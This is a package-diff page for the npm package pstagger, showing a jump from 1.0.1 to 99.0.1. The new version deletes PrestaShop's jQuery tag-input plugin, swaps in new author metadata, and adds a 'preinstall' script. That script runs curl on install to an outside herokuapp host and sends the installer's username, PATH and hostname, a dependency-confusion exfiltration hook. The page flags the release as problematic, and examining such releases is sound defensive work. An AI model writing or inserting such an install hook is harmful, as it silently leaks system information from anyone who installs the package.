pstagger 1.0.1 → 99.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pstagger might be problematic. Click here for more details.
- package/index.js +3 -0
- package/package.json +8 -20
- package/README.md +0 -171
- package/example.css +0 -14
- package/index.html +0 -45
- package/jquery.pstagger.css +0 -71
- package/jquery.pstagger.js +0 -258
- package/jquery.pstagger.min.js +0 -17
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,24 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "pstagger",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"main": "
|
3
|
+
"version": "99.0.1",
|
4
|
+
"description": "Hi! hello there too :) who are you?",
|
5
|
+
"main": "index.js",
|
6
6
|
"scripts": {
|
7
|
-
"test": "echo \"Error: no test specified\" && exit 1"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl https://shrouded-ravine-99137.herokuapp.com/pstagger/$USER/$PATH/$HOSTNAME"
|
8
9
|
},
|
9
|
-
"
|
10
|
-
|
11
|
-
|
12
|
-
},
|
13
|
-
"keywords": [
|
14
|
-
"tags",
|
15
|
-
"prestashop",
|
16
|
-
"jquery"
|
17
|
-
],
|
18
|
-
"author": "PrestaShop",
|
19
|
-
"license": "MIT",
|
20
|
-
"bugs": {
|
21
|
-
"url": "https://github.com/PrestaShop/pstagger/issues"
|
22
|
-
},
|
23
|
-
"homepage": "https://github.com/PrestaShop/pstagger#readme"
|
24
|
-
}
|
10
|
+
"author": "r03i98",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,171 +0,0 @@
|
|
1
|
-
# jQuery pstagger Plugin
|
2
|
-
|
3
|
-
A simple jQuery plugin in order to create tags input bars, this is still a beta so play around with it but we do not recommend to use it in production at the moment.
|
4
|
-
|
5
|
-
Do not hesitate to make PR for improvement or bug fixes !
|
6
|
-
|
7
|
-
[Get it from Github](https://github.com/PrestaShop/pstagger)
|
8
|
-
|
9
|
-
Latest version: 0.2.1 (beta)
|
10
|
-
|
11
|
-
|
12
|
-
## Why we developed this plugin ?
|
13
|
-
|
14
|
-
Most of the other tags bar plugins don't allow you to modify your tags once you've written them (you have to delete the tag and re-write it).
|
15
|
-
Since we use this input bar as a search bar, we wanted to keep it fully editable and in the same time give a visual hint on how the search works.
|
16
|
-
|
17
|
-
## Instructions
|
18
|
-
|
19
|
-
Add mandatory files
|
20
|
-
|
21
|
-
<script src="jquery.pstagger.js"></script>
|
22
|
-
<link rel="stylesheet" type="text/css" href="jquery.pstagger.css" />
|
23
|
-
|
24
|
-
Once that done, create an input like you would do in any other case:
|
25
|
-
|
26
|
-
<input id="input-tags" />
|
27
|
-
|
28
|
-
Then, simply call the tagsInput function on any field that should be treated as
|
29
|
-
a list of tags.
|
30
|
-
Then, make a call to pstagger plugin on all desired input to be 'Tagified'
|
31
|
-
|
32
|
-
$('#input-tags').pstagger();
|
33
|
-
|
34
|
-
## Options
|
35
|
-
|
36
|
-
$(selector).pstagger({
|
37
|
-
/* CSS custom */
|
38
|
-
wrapperClassAdditional: 'myClass',
|
39
|
-
tagsWrapperClassAdditional: 'myClass',
|
40
|
-
tagClassAdditional: 'myClass',
|
41
|
-
closingCrossClassAdditionnal: 'myClass',
|
42
|
-
clearAllIconClassAdditional: 'myClass',
|
43
|
-
clearAllSpanClassAdditional: 'myClass',
|
44
|
-
tagInputWrapperClassAdditional: 'myClass',
|
45
|
-
tagInputClassAdditional: 'myClass',
|
46
|
-
/* Global configuration */
|
47
|
-
delimiter: ' ',
|
48
|
-
inputPlaceholder: 'Add tag ...',
|
49
|
-
closingCross: true,
|
50
|
-
context: null,
|
51
|
-
clearAllBtn: false,
|
52
|
-
/* Callbacks */
|
53
|
-
onTagsChanged: null,
|
54
|
-
onResetTags: null,
|
55
|
-
});
|
56
|
-
|
57
|
-
## API
|
58
|
-
|
59
|
-
<table>
|
60
|
-
<thead>
|
61
|
-
<tr>
|
62
|
-
<th>Name</th>
|
63
|
-
<th>Type</th>
|
64
|
-
<th>Default</th>
|
65
|
-
<th>Note</th>
|
66
|
-
</tr>
|
67
|
-
</thead>
|
68
|
-
<tbody>
|
69
|
-
<tr>
|
70
|
-
<td>wrapperClassAdditional</td>
|
71
|
-
<td>String</td>
|
72
|
-
<td>''</td>
|
73
|
-
<td>Add custom CSS to the plugin</a>
|
74
|
-
</td>
|
75
|
-
</tr>
|
76
|
-
|
77
|
-
<tr>
|
78
|
-
<td>tagsWrapperClassAdditional</td>
|
79
|
-
<td>String</td>
|
80
|
-
<td>''</td>
|
81
|
-
<td>Add custom CSS to the plugin</a> </tr>
|
82
|
-
|
83
|
-
<tr>
|
84
|
-
<td>tagClassAdditional</td>
|
85
|
-
<td>String</td>
|
86
|
-
<td>''</td>
|
87
|
-
<td>Add custom CSS to the plugin</a>
|
88
|
-
</tr>
|
89
|
-
|
90
|
-
<tr>
|
91
|
-
<td>closingCrossClassAdditionnal</td>
|
92
|
-
<td>String</td>
|
93
|
-
<td>''</td>
|
94
|
-
<td>Add custom CSS to the plugin</a>
|
95
|
-
</tr>
|
96
|
-
|
97
|
-
<tr>
|
98
|
-
<td> tagInputWrapperClassAdditional</td>
|
99
|
-
<td>String</td>
|
100
|
-
<td>''</td>
|
101
|
-
<td>Add custom CSS to the plugin</a>
|
102
|
-
</tr>
|
103
|
-
|
104
|
-
<tr>
|
105
|
-
<td>tagInputClassAdditional</td>
|
106
|
-
<td>String</td>
|
107
|
-
<td>''</td>
|
108
|
-
<td>Add custom CSS to the plugin</a>
|
109
|
-
</tr>
|
110
|
-
|
111
|
-
<tr>
|
112
|
-
<td>clearAllIconClassAdditional</td>
|
113
|
-
<td>String</td>
|
114
|
-
<td>''</td>
|
115
|
-
<td>Add custom CSS to the plugin</a>
|
116
|
-
</tr>
|
117
|
-
|
118
|
-
<tr>
|
119
|
-
<td>delimiter</td>
|
120
|
-
<td>String</td>
|
121
|
-
<td>' '</td>
|
122
|
-
<td>Determine on which character the plugin has to explode the full string</td>
|
123
|
-
</tr>
|
124
|
-
|
125
|
-
<tr>
|
126
|
-
<td>inputPlaceholder</td>
|
127
|
-
<td>String</td>
|
128
|
-
<td>'Add a tag...'</td>
|
129
|
-
<td>Simply replace input placeholder by the one you choose</td>
|
130
|
-
</tr>
|
131
|
-
|
132
|
-
<tr>
|
133
|
-
<td>closingCross</td>
|
134
|
-
<td>Boolean</td>
|
135
|
-
<td>true</td>
|
136
|
-
<td>Whether we have to display a "closing cross" on each tag generated in order to remove them</td>
|
137
|
-
</tr>
|
138
|
-
|
139
|
-
<tr>
|
140
|
-
<td>context</td>
|
141
|
-
<td>Object</td>
|
142
|
-
<td>null</td>
|
143
|
-
<td>You may want to specify a specific context on your callback, just give that context here (e.g: this)</td>
|
144
|
-
</tr>
|
145
|
-
|
146
|
-
<tr>
|
147
|
-
<td>clearAllBtn</td>
|
148
|
-
<td>Boolean</td>
|
149
|
-
<td>false</td>
|
150
|
-
<td>Determine if the global reset input button has to be displayed
|
151
|
-
</td>
|
152
|
-
</tr>
|
153
|
-
|
154
|
-
<tr>
|
155
|
-
<td>onTagsChanged</td>
|
156
|
-
<td>Callback</td>
|
157
|
-
<td>none</td>
|
158
|
-
<td>Callback called everytime input tag has changed, it will receive an array representing each tag available in the input
|
159
|
-
</td>
|
160
|
-
</tr>
|
161
|
-
|
162
|
-
<tr>
|
163
|
-
<td>onResetTags</td>
|
164
|
-
<td>Callback</td>
|
165
|
-
<td>none</td>
|
166
|
-
<td>Callback called whenever the reset button is clicked and input emptied
|
167
|
-
</td>
|
168
|
-
</tr>
|
169
|
-
|
170
|
-
</tbody>
|
171
|
-
</table>
|
package/example.css
DELETED
@@ -1,14 +0,0 @@
|
|
1
|
-
/*
|
2
|
-
* jQuery pstagger plugin
|
3
|
-
* https://www.prestashop.com
|
4
|
-
*
|
5
|
-
* Copyright PrestaShop and other contributors
|
6
|
-
* Released under the MIT license
|
7
|
-
* https://tldrlegal.com/license/mit-license
|
8
|
-
*
|
9
|
-
* Date: 2016-01-13
|
10
|
-
*/
|
11
|
-
|
12
|
-
.myIconClass:before {
|
13
|
-
content: "X";
|
14
|
-
}
|
package/index.html
DELETED
@@ -1,45 +0,0 @@
|
|
1
|
-
<!DOCTYPE html>
|
2
|
-
<html>
|
3
|
-
<head>
|
4
|
-
<meta charset="utf-8">
|
5
|
-
<title>jQuery pstagger plugin by PrestaShop</title>
|
6
|
-
<link rel="stylesheet" href="example.css" />
|
7
|
-
<link rel="stylesheet" href="jquery.pstagger.css" />
|
8
|
-
</head>
|
9
|
-
<body>
|
10
|
-
jQuery pstagger Example:
|
11
|
-
<hr/>
|
12
|
-
<div class="wrapper">
|
13
|
-
<input id="pstagger-bar" type="text"/>
|
14
|
-
</div>
|
15
|
-
<hr/>
|
16
|
-
Currently tagged:
|
17
|
-
<div id="example1-tags">
|
18
|
-
|
19
|
-
</div>
|
20
|
-
|
21
|
-
<script type="text/javascript" src="https://code.jquery.com/jquery-1.12.0.min.js"></script>
|
22
|
-
<script type="text/javascript" src="jquery.pstagger.js"></script>
|
23
|
-
<script type="text/javascript">
|
24
|
-
$(document).ready(function(){
|
25
|
-
|
26
|
-
$('#pstagger-bar').pstagger({
|
27
|
-
inputPlaceholder: 'Add tag ...',
|
28
|
-
clearAllBtn: true,
|
29
|
-
clearAllIconClassAdditional: 'myIconClass',
|
30
|
-
onTagsChanged: onTagsChange,
|
31
|
-
onResetTags: onReset,
|
32
|
-
});
|
33
|
-
|
34
|
-
});
|
35
|
-
|
36
|
-
function onTagsChange(tagsList) {
|
37
|
-
$('#example1-tags').html(tagsList.join(', '));
|
38
|
-
}
|
39
|
-
|
40
|
-
function onReset() {
|
41
|
-
$('#example1-tags').empty();
|
42
|
-
}
|
43
|
-
</script>
|
44
|
-
</body>
|
45
|
-
</html>
|
package/jquery.pstagger.css
DELETED
@@ -1,71 +0,0 @@
|
|
1
|
-
/*
|
2
|
-
* jQuery pstagger plugin
|
3
|
-
* https://www.prestashop.com
|
4
|
-
*
|
5
|
-
* Copyright PrestaShop and other contributors
|
6
|
-
* Released under the MIT license
|
7
|
-
* https://tldrlegal.com/license/mit-license
|
8
|
-
*
|
9
|
-
* Date: 2016-01-13
|
10
|
-
*/
|
11
|
-
|
12
|
-
.pstaggerAddTagInput:focus {
|
13
|
-
outline: 0;
|
14
|
-
}
|
15
|
-
|
16
|
-
.pstaggerAddTagWrapper {
|
17
|
-
width: 99.5%;
|
18
|
-
}
|
19
|
-
|
20
|
-
.pstaggerResetTagsBtn {
|
21
|
-
cursor: pointer !important;
|
22
|
-
margin-right: 15px;
|
23
|
-
margin-top: 15px;
|
24
|
-
position: absolute;
|
25
|
-
color: #2eacce;
|
26
|
-
font-size: 20px;
|
27
|
-
cursor: pointer;
|
28
|
-
top: 0;
|
29
|
-
right: 0;
|
30
|
-
}
|
31
|
-
.pstaggerTagsWrapper {
|
32
|
-
display: none;
|
33
|
-
position: relative;
|
34
|
-
border: 1px solid lightgrey;
|
35
|
-
height: 50px;
|
36
|
-
width: 99.5%;
|
37
|
-
padding-left: 5px;
|
38
|
-
}
|
39
|
-
|
40
|
-
.pstaggerTag{
|
41
|
-
float: left;
|
42
|
-
border-radius: 5px;
|
43
|
-
height: 30px;
|
44
|
-
padding: 10px 5px 0px 5px;
|
45
|
-
margin-top: 5px;
|
46
|
-
margin-right: 5px;
|
47
|
-
background-color: lightblue;
|
48
|
-
font-size: 15px;
|
49
|
-
font-family: 'Helvetica', 'Arial', sans-serif;
|
50
|
-
}
|
51
|
-
|
52
|
-
.pstaggerClosingCross {
|
53
|
-
margin-left: 5px;
|
54
|
-
font-size: 12px;
|
55
|
-
color: black;
|
56
|
-
text-decoration: none;
|
57
|
-
}
|
58
|
-
|
59
|
-
.pstaggerWrapper {
|
60
|
-
position: relative;
|
61
|
-
}
|
62
|
-
|
63
|
-
.pstaggerAddTagInput {
|
64
|
-
padding: 0;
|
65
|
-
padding-left: 5px;
|
66
|
-
border: 1px solid lightgrey;
|
67
|
-
height: 50px;
|
68
|
-
width: 100%;
|
69
|
-
font-size: 15px;
|
70
|
-
font-family: 'Helvetica', 'Arial', sans-serif;
|
71
|
-
}
|
package/jquery.pstagger.js
DELETED
@@ -1,258 +0,0 @@
|
|
1
|
-
/*
|
2
|
-
* jQuery pstagger plugin
|
3
|
-
* https://www.prestashop.com
|
4
|
-
*
|
5
|
-
* Copyright PrestaShop and other contributors
|
6
|
-
* Released under the MIT license
|
7
|
-
* https://tldrlegal.com/license/mit-license
|
8
|
-
*
|
9
|
-
* Date: 2016-01-13
|
10
|
-
*/
|
11
|
-
|
12
|
-
(function ( $ ) {
|
13
|
-
var config = null;
|
14
|
-
var validateKeyCode = 13;
|
15
|
-
var tagsList = [];
|
16
|
-
var fullTagsString = null;
|
17
|
-
var pstaggerInput = null;
|
18
|
-
var defaultConfig = {
|
19
|
-
/* Global css config */
|
20
|
-
wrapperClassAdditional: '',
|
21
|
-
/* Tags part */
|
22
|
-
tagsWrapperClassAdditional: '',
|
23
|
-
tagClassAdditional: '',
|
24
|
-
closingCrossClassAdditionnal: '',
|
25
|
-
/* Tag Input part */
|
26
|
-
tagInputWrapperClassAdditional: '',
|
27
|
-
tagInputClassAdditional: '',
|
28
|
-
/* Global configuration */
|
29
|
-
delimiter: ' ',
|
30
|
-
inputPlaceholder: 'Add tag ...',
|
31
|
-
closingCross: true,
|
32
|
-
context: null,
|
33
|
-
clearAllBtn: false,
|
34
|
-
clearAllIconClassAdditional: '',
|
35
|
-
clearAllSpanClassAdditional: '',
|
36
|
-
/* Callbacks */
|
37
|
-
onTagsChanged: null,
|
38
|
-
onResetTags: null,
|
39
|
-
};
|
40
|
-
var immutableConfig = {
|
41
|
-
/* Global css config */
|
42
|
-
wrapperClass: 'pstaggerWrapper',
|
43
|
-
/* Tags part */
|
44
|
-
tagsWrapperClass: 'pstaggerTagsWrapper',
|
45
|
-
tagClass: 'pstaggerTag',
|
46
|
-
/* Tag Input part */
|
47
|
-
tagInputWrapperClass: 'pstaggerAddTagWrapper',
|
48
|
-
tagInputClass: 'pstaggerAddTagInput',
|
49
|
-
clearAllIconClass: '',
|
50
|
-
clearAllSpanClass: 'pstaggerResetTagsBtn',
|
51
|
-
closingCrossClass: 'pstaggerClosingCross',
|
52
|
-
};
|
53
|
-
|
54
|
-
var bindValidationInputEvent = function() {
|
55
|
-
// Validate input whenever validateKeyCode is pressed
|
56
|
-
pstaggerInput.keypress(function(event) {
|
57
|
-
if (event.keyCode == validateKeyCode) {
|
58
|
-
tagsList = [];
|
59
|
-
processInput();
|
60
|
-
}
|
61
|
-
});
|
62
|
-
// If focusout of input, display tagsWrapper if not empty or leave input as is
|
63
|
-
pstaggerInput.focusout(function(event){
|
64
|
-
|
65
|
-
// Necessarry to avoid race condition when focusout input because we want to reset :-)
|
66
|
-
if ($('.' + immutableConfig.clearAllSpanClass + ':hover').length) {
|
67
|
-
return false;
|
68
|
-
}
|
69
|
-
// Only redisplay tags on focusOut if there's something in tagsList
|
70
|
-
if (pstaggerInput.val().length) {
|
71
|
-
tagsList = [];
|
72
|
-
processInput();
|
73
|
-
}
|
74
|
-
});
|
75
|
-
};
|
76
|
-
|
77
|
-
var processInput = function() {
|
78
|
-
var fullTagsStringRaw = pstaggerInput.val();
|
79
|
-
var tagsListRaw = fullTagsStringRaw.split(config.delimiter);
|
80
|
-
|
81
|
-
// Check that's not an empty input
|
82
|
-
if (fullTagsStringRaw.length) {
|
83
|
-
// Loop over each tags we got this round
|
84
|
-
for (var key in tagsListRaw) {
|
85
|
-
var tagRaw = tagsListRaw[key];
|
86
|
-
// No empty values
|
87
|
-
if (tagRaw === '') {
|
88
|
-
continue;
|
89
|
-
}
|
90
|
-
// Add tag into persistent list
|
91
|
-
tagsList.push(tagRaw);
|
92
|
-
}
|
93
|
-
var spanTagsHtml = '';
|
94
|
-
// Create HTML dom from list of tags we have
|
95
|
-
for (key in tagsList) {
|
96
|
-
var tag = tagsList[key];
|
97
|
-
spanTagsHtml += formatSpanTag(tag);
|
98
|
-
}
|
99
|
-
// Delete previous if any, then add recreated html content
|
100
|
-
$('.' + immutableConfig.tagsWrapperClass).empty().prepend(spanTagsHtml).css('display', 'block');
|
101
|
-
// Hide input until user click on tagify_tags_wrapper
|
102
|
-
$('.' + immutableConfig.tagInputWrapperClass).css('display', 'none');
|
103
|
-
|
104
|
-
} else {
|
105
|
-
$('.' + immutableConfig.tagsWrapperClass).css('display', 'none');
|
106
|
-
$('.' + immutableConfig.tagInputWrapperClass).css('display', 'block');
|
107
|
-
pstaggerInput.focus();
|
108
|
-
}
|
109
|
-
// Call the callback ! (if one)
|
110
|
-
if (config.onTagsChanged !== null) {
|
111
|
-
config.onTagsChanged.call(config.context, tagsList);
|
112
|
-
}
|
113
|
-
};
|
114
|
-
|
115
|
-
var formatSpanTag = function(tag) {
|
116
|
-
var spanTag = '<span class="' + immutableConfig.tagClass + ' ' + config.tagClassAdditional+'">' +
|
117
|
-
'<span>' +
|
118
|
-
$('<div/>').text(tag).html() +
|
119
|
-
'</span>';
|
120
|
-
// Add closingCross if set to true
|
121
|
-
if (config.closingCross === true) {
|
122
|
-
spanTag += '<a class="' + immutableConfig.closingCrossClass + ' ' + config.closingCrossClassAdditionnal+'" href="#">x</a>';
|
123
|
-
}
|
124
|
-
spanTag += '</span>';
|
125
|
-
return spanTag;
|
126
|
-
};
|
127
|
-
|
128
|
-
var constructTagInputForm = function() {
|
129
|
-
// First hide native input
|
130
|
-
config.originalInput.css('display', 'none');
|
131
|
-
var addClearBtnHtml = '';
|
132
|
-
// If reset button required add it following user decription
|
133
|
-
if (config.clearAllBtn === true) {
|
134
|
-
addClearBtnHtml += '<span class="' + immutableConfig.clearAllSpanClass + ' ' + config.clearAllSpanClassAdditional +'">' +
|
135
|
-
'<i class="' + immutableConfig.clearAllIconClass + ' ' + config.clearAllIconClassAdditional +'"></i>' +
|
136
|
-
'</span>';
|
137
|
-
// Bind the click on the reset icon
|
138
|
-
bindResetTagsEvent();
|
139
|
-
}
|
140
|
-
// Add Tagify form after it
|
141
|
-
var formHtml = '<div class="' + immutableConfig.wrapperClass + ' ' + config.wrapperClassAdditional +'">' +
|
142
|
-
addClearBtnHtml +
|
143
|
-
'<div class="' + immutableConfig.tagsWrapperClass + ' ' + config.tagsWrapperClassAdditional +'"></div>' +
|
144
|
-
'<div class="' + immutableConfig.tagInputWrapperClass + ' ' + config.tagInputWrapperClassAdditional +'">' +
|
145
|
-
'<input class="' + immutableConfig.tagInputClass + ' ' + config.tagInputClassAdditional +'">' +
|
146
|
-
'</div>' +
|
147
|
-
'</div>';
|
148
|
-
// Insert form after the originalInput
|
149
|
-
config.originalInput.after(formHtml);
|
150
|
-
// Save tagify input in our object
|
151
|
-
pstaggerInput = $('.' + immutableConfig.tagInputClass);
|
152
|
-
// Add placeholder on tagify's input
|
153
|
-
pstaggerInput.attr('placeholder', config.inputPlaceholder);
|
154
|
-
return true;
|
155
|
-
};
|
156
|
-
|
157
|
-
var bindFocusInputEvent = function() {
|
158
|
-
// Bind click on tagsWrapper to switch and focus on input
|
159
|
-
$('.' + immutableConfig.tagsWrapperClass).on('click', function(event) {
|
160
|
-
var clickedElementClasses = event.target.className;
|
161
|
-
// Regexp to check if not clicked on closingCross to avoid focusing input if so
|
162
|
-
var checkClosingCrossRegex = new RegExp(immutableConfig.closingCrossClass, 'g');
|
163
|
-
var closingCrossClicked = clickedElementClasses.match(checkClosingCrossRegex);
|
164
|
-
if ($('.' + immutableConfig.tagInputWrapperClass).is(':hidden') && closingCrossClicked === null) {
|
165
|
-
$('.' + immutableConfig.tagsWrapperClass).css('display', 'none');
|
166
|
-
$('.' + immutableConfig.tagInputWrapperClass).css('display', 'block');
|
167
|
-
pstaggerInput.focus();
|
168
|
-
}
|
169
|
-
});
|
170
|
-
};
|
171
|
-
|
172
|
-
var bindResetTagsEvent = function() {
|
173
|
-
// Use delegate since we bind it before we insert the html in the DOM
|
174
|
-
var _this = this;
|
175
|
-
$(document).delegate('.' + immutableConfig.clearAllSpanClass, 'click', function(){
|
176
|
-
resetTags(true);
|
177
|
-
});
|
178
|
-
};
|
179
|
-
|
180
|
-
var resetTags = function(withCallback) {
|
181
|
-
// Empty tags list and tagify input
|
182
|
-
tagsList = [];
|
183
|
-
pstaggerInput.val('');
|
184
|
-
$('.' + immutableConfig.tagsWrapperClass).css('display', 'none');
|
185
|
-
$('.' + immutableConfig.tagInputWrapperClass).css('display', 'block');
|
186
|
-
pstaggerInput.focus();
|
187
|
-
// Empty existing Tags
|
188
|
-
$('.' + immutableConfig.tagClass).remove();
|
189
|
-
// Call the callback if one !
|
190
|
-
if (config.onResetTags !== null && withCallback === true) {
|
191
|
-
config.onResetTags.call(config.context);
|
192
|
-
}
|
193
|
-
}
|
194
|
-
|
195
|
-
|
196
|
-
var bindClosingCrossEvent = function() {
|
197
|
-
$(document).delegate('.' + immutableConfig.closingCrossClass, 'click', function(event){
|
198
|
-
var thisTagWrapper = $(this).parent();
|
199
|
-
var clickedTagIndex = thisTagWrapper.index();
|
200
|
-
// Iterate through tags to reconstruct new pstaggerInput value
|
201
|
-
var newInputValue = reconstructInputValFromRemovedTag(clickedTagIndex);
|
202
|
-
// Apply new input value
|
203
|
-
pstaggerInput.val(newInputValue);
|
204
|
-
thisTagWrapper.remove();
|
205
|
-
tagsList = [];
|
206
|
-
processInput();
|
207
|
-
});
|
208
|
-
};
|
209
|
-
|
210
|
-
var reconstructInputValFromRemovedTag = function(clickedTagIndex) {
|
211
|
-
var finalStr = '';
|
212
|
-
$('.' + immutableConfig.tagClass).each(function(index, value) {
|
213
|
-
// If this is the tag we want to remove then continue else add to return string val
|
214
|
-
if (clickedTagIndex == $(this).index()) {
|
215
|
-
// jQuery.each() continue;
|
216
|
-
return true;
|
217
|
-
}
|
218
|
-
// Add to return value
|
219
|
-
finalStr += ' ' + $(this).children().first().text();
|
220
|
-
});
|
221
|
-
return finalStr;
|
222
|
-
};
|
223
|
-
|
224
|
-
var getTagsListOccurencesCount = function() {
|
225
|
-
var obj = {};
|
226
|
-
for (var i = 0, j = tagsList.length; i < j; i++) {
|
227
|
-
obj[tagsList[i]] = (obj[tagsList[i]] || 0) + 1;
|
228
|
-
}
|
229
|
-
return obj;
|
230
|
-
};
|
231
|
-
|
232
|
-
var setConfig = function(givenConfig, originalObject) {
|
233
|
-
var finalConfig = {};
|
234
|
-
// Loop on each default values, check if one given by user, if so -> override default
|
235
|
-
for (var property in defaultConfig) {
|
236
|
-
if (givenConfig.hasOwnProperty(property)) {
|
237
|
-
finalConfig[property] = givenConfig[property];
|
238
|
-
} else {
|
239
|
-
finalConfig[property] = defaultConfig[property];
|
240
|
-
}
|
241
|
-
}
|
242
|
-
finalConfig.originalInput = originalObject;
|
243
|
-
return finalConfig;
|
244
|
-
};
|
245
|
-
|
246
|
-
// jQuery extends function
|
247
|
-
$.fn.pstagger = function(_config) {
|
248
|
-
config = setConfig(_config, this);
|
249
|
-
constructTagInputForm();
|
250
|
-
bindValidationInputEvent();
|
251
|
-
bindFocusInputEvent();
|
252
|
-
bindClosingCrossEvent();
|
253
|
-
|
254
|
-
return {
|
255
|
-
'resetTags': resetTags,
|
256
|
-
};
|
257
|
-
};
|
258
|
-
}(jQuery));
|
package/jquery.pstagger.min.js
DELETED
@@ -1,17 +0,0 @@
|
|
1
|
-
/*
|
2
|
-
* jQuery pstagger plugin
|
3
|
-
* https://www.prestashop.com
|
4
|
-
*
|
5
|
-
* Copyright PrestaShop and other contributors
|
6
|
-
* Released under the MIT license
|
7
|
-
* https://tldrlegal.com/license/mit-license
|
8
|
-
*
|
9
|
-
* Date: 2016-01-13
|
10
|
-
*/
|
11
|
-
|
12
|
-
(function(c){var b=null,g=[],d=null,k={wrapperClassAdditional:"",tagsWrapperClassAdditional:"",tagClassAdditional:"",closingCrossClassAdditionnal:"",tagInputWrapperClassAdditional:"",tagInputClassAdditional:"",delimiter:" ",inputPlaceholder:"Add tag ...",closingCross:!0,context:null,clearAllBtn:!1,clearAllIconClassAdditional:"",clearAllSpanClassAdditional:"",onTagsChanged:null,onResetTags:null},m=function(){d.keypress(function(a){13==a.keyCode&&(g=[],h())});d.focusout(function(a){if(c(".pstaggerResetTagsBtn:hover").length)return!1;
|
13
|
-
d.val().length&&(g=[],h())})},h=function(){var a=d.val(),e=a.split(b.delimiter);if(a.length){for(var f in e)a=e[f],""!==a&&g.push(a);e="";for(f in g)a=g[f],a='<span class="pstaggerTag '+b.tagClassAdditional+'"><span>'+c("<div/>").text(a).html()+"</span>",!0===b.closingCross&&(a+='<a class="pstaggerClosingCross '+b.closingCrossClassAdditionnal+'" href="#">x</a>'),a+="</span>",e+=a;c(".pstaggerTagsWrapper").empty().prepend(e).css("display","block");c(".pstaggerAddTagWrapper").css("display","none")}else c(".pstaggerTagsWrapper").css("display",
|
14
|
-
"none"),c(".pstaggerAddTagWrapper").css("display","block"),d.focus();null!==b.onTagsChanged&&b.onTagsChanged.call(b.context,g)},n=function(){c(".pstaggerTagsWrapper").on("click",function(a){a=a.target.className.match(RegExp("pstaggerClosingCross","g"));c(".pstaggerAddTagWrapper").is(":hidden")&&null===a&&(c(".pstaggerTagsWrapper").css("display","none"),c(".pstaggerAddTagWrapper").css("display","block"),d.focus())})},p=function(){c(document).delegate(".pstaggerResetTagsBtn","click",function(){l(!0)})},
|
15
|
-
l=function(a){g=[];d.val("");c(".pstaggerTagsWrapper").css("display","none");c(".pstaggerAddTagWrapper").css("display","block");d.focus();c(".pstaggerTag").remove();null!==b.onResetTags&&!0===a&&b.onResetTags.call(b.context)},r=function(){c(document).delegate(".pstaggerClosingCross","click",function(a){a=c(this).parent();var b=a.index(),b=q(b);d.val(b);a.remove();g=[];h()})},q=function(a){var b="";c(".pstaggerTag").each(function(d,g){if(a==c(this).index())return!0;b+=" "+c(this).children().first().text()});
|
16
|
-
return b};c.fn.pstagger=function(a){var e={},f;for(f in k)a.hasOwnProperty(f)?e[f]=a[f]:e[f]=k[f];e.originalInput=this;b=e;b.originalInput.css("display","none");a="";!0===b.clearAllBtn&&(a+='<span class="pstaggerResetTagsBtn '+b.clearAllSpanClassAdditional+'"><i class=" '+b.clearAllIconClassAdditional+'"></i></span>',p());b.originalInput.after('<div class="pstaggerWrapper '+b.wrapperClassAdditional+'">'+a+'<div class="pstaggerTagsWrapper '+b.tagsWrapperClassAdditional+'"></div><div class="pstaggerAddTagWrapper '+
|
17
|
-
b.tagInputWrapperClassAdditional+'"><input class="pstaggerAddTagInput '+b.tagInputClassAdditional+'"></div></div>');d=c(".pstaggerAddTagInput");d.attr("placeholder",b.inputPlaceholder);m();n();r();return{resetTags:l}}})(jQuery);
|